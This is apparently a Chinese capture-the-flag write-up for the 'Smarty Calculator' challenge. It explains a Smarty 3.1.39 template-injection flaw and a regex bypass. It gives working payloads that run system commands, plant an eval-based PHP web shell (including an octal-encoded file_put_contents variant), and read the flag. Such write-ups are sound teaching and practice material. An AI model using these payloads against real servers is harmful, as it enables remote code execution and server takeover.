[HMGCTF2022]Smarty Calculator
打开页面,我们看到一个提交框
长这样,一看就像个ssti注入
我们输入
1 | {{7*7}} |
页面弹出个没有登录,我吧网页翻遍了也没看见哪里要登录
于是扫了一下文件,发现有个www.zip
1 |
|
通过代码审计,我们发现登录需要在cookie里传个login,并且对post方法传的data进行了waf过滤,过滤了php < flag ?
同时,我们在Smarty.class.php里找到了smarty的版本 3.1.39
思路一
通过查询发现smarty的3.1.39有一个漏洞
从官方下载对应版本:https://github.com/smarty-php/smarty/releases?q=3.1.39&expanded=true
对比发现smarty_internal_compile_function.php
有改动(此处对比工具为Beyond Compare
)
关键的差异只有一处正则(左侧为题目源码,右侧为官方源码)
1 | preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name) |
题目正则逻辑分析:
[a-zA-Z0-9_\x80-\xff]
匹配字母、数字、下划线或0x80-0xff范围内的任意字节,作为开头字符。(.*)+
匹配0次或多次(*)任意数量(+)除换行符\n之外的任意单字符(.)。- $匹配字符串的结束。
其中正则里\x80-\xff
表示匹配utf-8编码下所有的汉字
所以可以换行绕过,%0A
既不在前面的[]
匹配里面,又不被后面的.
匹配
所以只需要在原来poc基础上,加上%0A
绕过即可(实际测试发现需要两个字符,且只要第一个字符是%0A
皆可,此处用%0A%0A
)
1 | data={function+name='rce(){};system("id");function%0A%0A'}{/function} |
HackBar传参如下
执行phpinfo()
1 | data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=phpinfo(); |
读flag
1 | data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=var_dump(file_get_contents('/flag')); |
思路二
function.math.php文件里有eval()函数可以命令执行,回溯$equation变量有这个正则匹配
1 | preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match); |
正则逻辑分析如下:
preg_match_all()
函数使用正则表达式匹配$equation
字符串;- 模式使用
! !
作为定界符; - 第一部分
(?:0x[a-fA-F0-9]+)
匹配十六进制数,?:
表示不捕获; - 第二部分
([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)
捕获变量名模式(以字母/下划线/0x7f-0xff范围内的字符开头,后跟0个或多个字母/数字/指定字符的模式)。 |
表示或,匹配两种模式之一。- 结果存储在$match数组中。
- 第一部分不捕获,第二部分捕获的变量名存入 $match[1]。
- 这样可以检索出字符串中的变量名,进行后续处理。
根据上述逻辑,此处可通过八进制绕过正则
脚本如下
1 | s = input("请输入字符串:") |
如下命令写入一句话木马
1 | ("file_put_contents")("wa0er.php","<?php eval($_POST[wa0er]);?>") |
我们将其处理成八进制后,完整payload如下
1 | data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\167\\141\\60\\145\\162\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154(\\44\\137\\120\\117\\123\\124\\133\\167\\141\\60\\145\\162\\135)\\73\\77\\76\")"} |
上传后我们访问wa0er.php
用蚁剑进行连接,得到flag